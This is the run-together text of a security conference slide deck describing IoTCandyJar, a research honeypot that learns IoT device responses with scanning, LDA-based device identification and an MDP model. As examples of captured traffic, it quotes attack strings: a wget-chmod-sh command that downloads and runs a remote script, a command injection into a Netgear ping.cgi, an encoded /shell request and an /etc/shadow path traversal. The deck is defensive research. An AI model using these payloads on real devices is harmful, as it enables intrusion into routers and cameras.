+ All Categories
Home > Documents > IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots...

IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots...

Date post: 12-Jul-2018
Category:
Upload: leduong
View: 221 times
Download: 0 times
Share this document with a friend
34
IoTCandyJar: Towards an Intelligent- Interaction Honeypot for IoT Devices
Transcript
Page 1: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

IoTCandyJar:TowardsanIntelligent-InteractionHoneypotforIoTDevices

Page 2: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

Bio• BlackHatVeteran(2016USA,2017Asia,2017USA).• VirusBulletin(2016,2017)• PrincipleSecurityResearcher@PANW.

MobileSecurity- DiscoverMalware- AndroidSecurity

WebSecurity- ExploitKitDetection.- BrowserSecurity.

Explore&Exploit- Fuzzing&CVEs.- Attacks.

IoTSecurity- Vulnerability.- SDN-basedSolution.

Page 3: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

Agenda

• IoTHoneypot.• IntelligentInteraction.• IoTScanner• IoT-ID• IoTLearner

Page 4: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

Theideaofhoneypotsbeganin1991.

IoTHoneypot

IoTHoneypot

Low-Interaction

High-Interaction

• Very limited level of interaction• ManuallyGenerateResponses• honeyd

• Fullyedgedoperatingsystem• Interactwithrealsystem(physical)oremulator (virtual)• GenIII

Page 5: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

ChallengestoBuildIoT-Honeypot

Low-InteractionIoTHoneypot?

HeterogeneityLackofemulator

High-InteractionIoTHoneypot?

LackofKnowledgeExpensive

Page 6: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

Intelligent-Interaction

SimulateBehaviors

AutomaticCollect IoTBehaviors Expectedbyattackers

IntelligentlyLearn ThroughInteraction

Page 7: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

WhyInteraction?

{ip}:443/img/favicon.png?v=6.0.1-1213

Attack

wget http://x.x.x.x/mal.sh; chmod 777 mal.sh; sh mal.sh;

Request Content

Request Content

MaliciousServerAddress

CVE-2016-6433

404NotFound

200OK

HONEYPOT

Page 8: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

401Unauthorized

404NotFound

200OK

ZyXEL Modem/globe

WWW-Authenticate:Basicrealm=

"NETGEARR7000”HEAD/HTTP/1.1

/etc/RT2870STA.dat IPCameraInfo/Config

CapturedPre-AttackCheck

getstatus.cgi

home_wan.htm

Page 9: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

ManagementComponentTransport(MCTP)

REMOTEHI_SRDK_MEDIA_GetShowAttr

MCTP/1.0

HNAP

UDP Port53413

\x00\x00 \x00 \x00\x00 \x00\x00\x00 \xD0\xA5Login: VulnerableRouter

(Netcore|Netis)

VulnerableKguardDVR

/HNAP1/ VulnerableRouter(Netgear|Linksys)

MCTP/1.0200OK

IoTProtocols

Page 10: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

EchoCommand

POST /ping.cgi HTTP/1.1referer:http://x.x.x.x/DIAG_diag.htm

IPAddr1=1&IPAddr2=2&IPAddr3=3&IPAddr4=4&ping=Ping&ping_IPAddr=12.12.12.12;

Netgear DGN2200v1-v4

… ... ... ...… ... ... ...

… ... ... ...… ... ... ...

InjectEchoCommandtoPrintRandomStringandCheckResultinResponse

echo "zP8ZDXwQCC";

zP8ZDXwQCC

Page 11: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

HoneypotInstance

HoneypotInstance

SessionTable

IoTDatabase

HoneypotInstance

LearningModel

SystemArchitecture

Raw_Request1

IoTScanner

ActiveProbing

Filter2

IoTLearner

MDP

IoT-ID

3

Raw_Response

Page 12: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

IoTScanner

AutomaticIoTBehaviorsCollector

Page 13: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

CustomizedScanningForIoTDevices

• IPFiltering

• Port Filtering

• RequestFiltering

• ExploitFiltering

Page 14: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

IPAddressFiltering

MASSCAN

Page 15: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

PortsFiltering

PrioritizetoScanTrafficonThesePorts.

Page 16: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

CapturedHoneypotTraffic(Request)

18Mà1Mà0.4M

RequestFiltering

Page 17: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

RequestTypeByPort

Page 18: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

ExploitRequestFiltering

RemoteCommandExecution(RCE).

UPnP

TR-069SOAP

/shell?%75%6E%61%6D%65%20%2D%61

Encoded

InfoDisclosure.

IdentifyShellCode

PathTransversal

InformationLeaking

../../../../etc/shadow

Page 19: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

ScanningResult

• 300Threads• 3 sectimeout• Reusetcp session

Page 20: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

IOT-ID:PINPOINTIOTDEVICE

Page 21: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

IoT-ID

•Problem:Patternmatchbasedapproachisnotenough.• Example:

• ControversialResult.• IPchange.

•Goal:• ObtainaccurateknowledgeofIoTdevice.• PinpointwithIoT-ID.

•Approach:• LDA-basedSolution.

Page 22: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

LDA-BasedSolution

• LDA• Documents,Terms,Topics.• Doc=mixtureoftopics

• ProblemFormulation• Treateachresponseasadocument• TypeoftheIoTdeviceasthetopic

• Example:• HTTPtrafficfrom6differentroutervendors.• Summarize15differenttopicsforthem.

Page 23: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very
Page 24: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

IoTLearner

LearningBehaviorsFromInteractions.

Page 25: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

StateLocator

SelectResp

Selector(Model+Algorithm)

SessionTable

RawRequest

RawResponse

Req_RspMapping

feedback

Page 26: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

RandomResponding

ScanningResultforURL/HNAP1/

404NotFound(SonicWALLFW)

401Unauthorized(TRENDnet Router)

<ModelName>WRT110

</ModelName>(LinkSys)

<ModelName>DIR-615B2

</ModelName>(D-Link)

KnowledgeDatabase

/HNAP1/

RandomlySelectOne

SessionTable

<Req,Rsp,IP,Port,Proto>

Reply

AccumulateBehaviorsKnowledgeFromAttacker’sReaction

(FollowingRequest)

Page 27: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

ProblemFormulation

• Decisionepochs(t)• States(x,s)• Actions(a)• Transitionsprobabilities(T)• Rewards(r)

• Whenwereceivearequest• CurrentIncomingRequest• PotentialResponseSet• Pr(NextRequest)• CaptureMaliciousPayload.

SequentialDecisionMaking SelecttheBestResponseastheactiontosatisfyattackersandcapturethemaliciouspayload.

Page 28: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

MDPBuild

SessionTable ScanningResponses

404NotFound(SonicWALLFW)

401Unauthorized(TRENDnet)

<ModelName>WRT110

</ModelName>(LinkSys)

<ModelName>DIR-615B2

</ModelName>(D-Link)

RSP1

RSP2

RSP3

RSP4

Req_ID Rsp_ID Session_ID

0 1 0

0 2 1

0 2 2

0 2 2

0 3 3

1 0 3

… … …

/HNAP1/

Terminated

/ping.cgishellcmd

RSP3

RSP1

RSP2

RSP2

0.9

0.1

1

SOAPAction:GetDeviceSettingsshellcmd

RSP4

0.8

1

RSP3

0.2

Page 29: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

• RealCaseisMoreComplex.• CGI-Script.• EntryPoints.

• PrivilegedCGI– MediumReward.• ExploitRequest– HighReward.

Page 30: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

SessionImprovement

• RandomResponseSelectionAlgorithm• Occasionallyselectthecorrectone.

• MDPResponseSelectionAlgorithm• selectthecorrectonewithhigherprobability.

Page 31: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

ThreeTakeaways

•ChallengestobuildIoThoneypotusingtraditionalways.

•UtilizinganautomaticandintelligentwaytobuildIoThoneypot.

•Interestingpre-attackchecksandExploitationsonIoTDevice.

Page 32: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

Q&A

Page 33: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

/img/favicon.png?v=6.0.1-1213

200OK

Terminated

404

/

302Doc

moved

varpassword=“…”

xxx

/apply.cgishell

+10

/rulesimport.cgishell

+10

Username:xxPassword:xx

/login.cgi +2

/view.cgi+2

/loginpserr.stm+1

+0.5

-10

-5

Page 34: IoTCandyJar: towards an intelligent-interaction honeypot for IoT devices · The idea of honeypots began in 1991. IoT Honeypot Honeypot IoT Low-Interaction High-Interaction • Very

SessionTable

ScanningResponses404NotFound

(SonicWALLFW)

401Unauthorized(TRENDnet)

<ModelName>WRT110

</ModelName>(LinkSys)

<ModelName>DIR-615B2

</ModelName>(D-Link)

RSP1 RSP2

Req_ID Rsp_ID Session_ID

0 1 0

0 2 1

0 2 2

0 2 2

0 3 3

1 0 3

… … …

/HNAP1/

Terminated

/ping.cgishellcmd

RSP3

RSP1

RSP2

RSP2

0.9

0.1

1

SOAPAction:GetDeviceSettingsshellcmd

RSP4

0.8

1

RSP3

0.2

RSP3 RSP4


Recommended